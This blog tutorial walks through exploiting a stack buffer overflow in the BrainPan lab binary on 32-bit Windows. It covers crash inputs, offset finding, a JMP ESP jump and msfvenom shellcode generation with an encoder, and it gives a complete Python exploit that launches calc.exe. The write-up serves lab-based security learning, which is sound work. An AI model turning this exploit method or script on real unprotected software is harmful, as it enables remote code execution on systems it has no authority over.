Post

Intro to Stack Overflow Exploitation on 32-Bit Windows Apps

Intro to Stack Overflow Exploitation on 32-Bit Windows Apps

Intro to Stack Overflow Exploitation on 32-Bit Windows Apps

Introduction

In this blog, we will learn how to exploit a Windows-based 32-bit application. For this blog, we will be using a simple application vulnerable to stack-based buffer overflow. This application does not have any protection mechanisms, such as DEP, ASLR, CFG, etc.

Prerequisite

Don’t worry if this is your first time exploiting a Windows-based application. This tutorial will cover most of it. If you have read and followed the previous ARX - Narnia blog, where we exploited ELF-based buffer overflows, you’ll find some similarities.

To learn more about the Windows x86 architecture, read this.

We will be using the THM - BrainPan application in this tutorial. To download the executable, start the machine and download it from hxxp://machine_ip:10000/bin/brainpan.exe. The downloaded exe will be run on a Windows VM that has Windbg x86 installed. Kali Linux VM will be our attacking machine.

Exploitation

Before beginning, let’s verify if protections are enabled or disabled on this executable. I have used CFF Explorer to view the PE headers, but you can use any similar tool.
Great, The executable does not have any protections enabled.

DLLCharacterstics

Using a decompiler like Cutter (Radare2), you can get a gist of what the code is doing. This is optional, as the application does not implement any complex functionalities.

Decompiled main function shows program setsup a TCP socket listener on port 9999 Port Number

Now, let’s run the application on the Windows machine and connect to port 9999 via our Kali VM. It’s important that both the Windows VM and Kali VM should be in the same LAN.

nc test connection

On the Windows side, we can see logs of what’s happening inside the binary.
In the console output, we can see the TCP socket bind on port 9999, a connection received, user_input, and user_input getting copied to some buffer.

brainpan first run

Lets try passing a large input string of 1000 bytes. This will crash the brainpan.exe.

python3 -c "import sys; sys.stdout.buffer.write(b'A'*1000)" | nc $WIN_IP 9999

Crashing Brainpan

Lets analyze the crash in WinDbg. To run the program inside WinDbg press Ctrl + E. After executable is started in command section, type g and press Enter to start the binary.

Start windbg

On sending a 1000 bytes buffer, brainpan.exe will crash. This time we will analyze the crash in WinDbg.

Windbg Crash

In the above image, we can see that EIP points to 0x41414141. This address is part of the user input, which means we can control the flow of the program by pointing EIP to any address of our choice.

From here, we need to achieve following, 1. Control the EIP 2. Set EIP so that it points to asm code which gives us shell or execute payload. 3. Create a payload using msfvenom and inject it inside the process.

To understand exactly which bytes are used as EIP we need to create a unique pattern of string and send it to process, then find the offset of that string.

In WinDbg use .restart command followed by g command to restart the process.

To generate unique pattern and send it to binary, use command, msf-pattern_create -l 1000 | nc $WIN_IP 9999

msf pattern

In Windows VM we can see EIP points to a different address then previous.

WinDbg Crash 2

To find the offset of current EIP value in our unique string, use command msf-pattern_offset -l 1000 -q 35724134 This will match at offset 524

Lets create a python script to have more control over payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
import sys

try:
	srv_ip = sys.argv[1]
except Exception as e:
	print(e)
	exit("srv_ip = argv[1]")
     

buf_a = b'A'*524
eip = b'\x44\x44\x44\x44'
buf_c = b'C' * (1000 - 524 - 4)

payload = buf_a + eip + buf_c

try:	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((srv_ip, 9999))
	s.send(payload)
	print("Sent",len(payload),"bytes of payload.")
	s.close()
except Exception as e:
	print(e)

Now, let’s rerun the brainpan.exe in WinDbg and send the payload using a Python script.
To send the payload, run python3 exp.py $WIN_IP.

In WinDbg we can see EIP points to 0x44444444 and ESP points to buf_c. We can put our shellcode inside buf_c variable.

Windbg Crash 3

Since ESP points to buf_c (our future shellcode), we need to set EIP such that execution points to our shellcode.
If we can point EIP to an asm instruction like JMP ESP or anything similar which execute instructions present at ESP, it will work.

JMP ESP in hex is 0xFF 0xE4, lets try finding these bytes in brainpan.exe . If there is a match, we can point EIP to this address, which will eventually point to the shellcode present at ESP.

Using the search command in WinDbg, we can find the offset of any hex bytes. We can use the lm command to view the address range of brainpan.exe and search within this range because brainpan.exe does not have ASLR enabled. The offset of JMP ESP will always be the same, during each run, which makes it perfect to use in our exploit.

Finding JMP ESP

We will be using the above-mentioned offset for EIP.
Now, let’s create a PoC shellcode using the command msfvenom -p windows/exec CMD="calc.exe" -f c. In the output, you will see bytes that contain \x00. We will try to avoid the null byte in our payload, as it generally indicates the end of a string.

\x00 is considered a bad character from the perspective of shellcode. There can be multiple different bad characters depending on the protocol and binary you are using. To find bad characters for your use case, try sending all available bytes from 0x00 to 0xff. Put a breakpoint where this buffer is stored and then check the process memory to see if your input is correct. If it’s not correct, try removing the byte causing the problem from your input and resend it. Repeat this process until you find all bad characters. Try finding bad characters for brainpan.exe; it will be a fun learning exercise. There are multiple other methods to achieve the same result.

For removing bad character from payload we can use various encoders like shikata_ga_nai, countdow, and other XOR based encoders. In this example I will be using countdown encoder.

msfvenom -p windows/exec CMD=calc.exe -f c -e x86/countdown -b '\x00'

Lets modify exp.py and place the generated shellcode in buf_c variable, and JMP ESP address in eip variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import sys

try:
	srv_ip = sys.argv[1]
except Exception as e:
	print(e)
	exit("srv_ip = argv[1]")
     

buf_a = b'A'*524
eip = b'\xf3\x12\x17\x31'  # JMP ESP - 311712f3
buf_c = (b"\x29\xc9\xb1\xc0\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e"
b"\x07\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb"
b"\x68\x86\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16"
b"\xad\x51\x3a\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8"
b"\x25\x28\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe"
b"\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8"
b"\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90"
b"\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf\x59\x26\xa4\x66\x23\x7b"
b"\x15\x85\x3a\xe8\x3c\x41\x67\xb4\x0e\xe2\x66\x20\xe7\x35"
b"\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20"
b"\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4"
b"\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5\x1e\xf9\x10"
b"\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e\x5b\x70"
b"\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0\xdc"
b"\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\x93\xdb\xc7\xa5\xc1")

payload = buf_a + eip + buf_c

try:	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((srv_ip, 9999))
	s.send(payload)
	print("Sent",len(payload),"bytes of payload.")
	s.close()
except Exception as e:
	print(e)

On successful execution of exp.py, a calculator will spawn on the Windows VM. You can also run brainpan.exe without WinDbg.

python3 exp.py $WIN_IP

And it’s successful! We can see calc.exe popping up on the Windows VM.

POC

Thanks for reading.

This post is licensed under CC BY 4.0 by the author.